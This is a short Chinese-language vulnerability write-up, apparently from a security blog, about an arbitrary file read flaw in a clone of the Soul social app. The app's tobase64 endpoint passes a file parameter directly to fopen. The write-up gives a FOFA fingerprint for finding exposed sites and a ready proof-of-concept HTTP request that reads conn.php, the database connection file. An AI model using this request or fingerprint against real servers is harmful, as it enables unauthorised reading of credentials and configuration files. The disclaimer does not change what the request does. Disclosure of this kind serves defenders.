某仿soul欲音社交系统存在任意文件读取漏洞

1 阅读须知

技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！

2 产品概述

仿soul欲音社交系统控制器中的tobase64 方法通过传入file参数然后通过fopen直接读取任意文件，然后输出base64编码后的文件。

3 漏洞描述

任意文件读取漏洞（Arbitrary File Read Vulnerability）是指攻击者可以通过web应用程序读取服务器上的任意文件，而不受访问控制限制的漏洞。这种漏洞通常是由于应用程序对用户输入的验证不足、权限配置不当或代码实现缺陷所导致的。

fofa

"/public/style/admin/js/jquery.min.js"

4.漏洞复现

poc

GET /api/upload/tobase64?file=conn.php HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36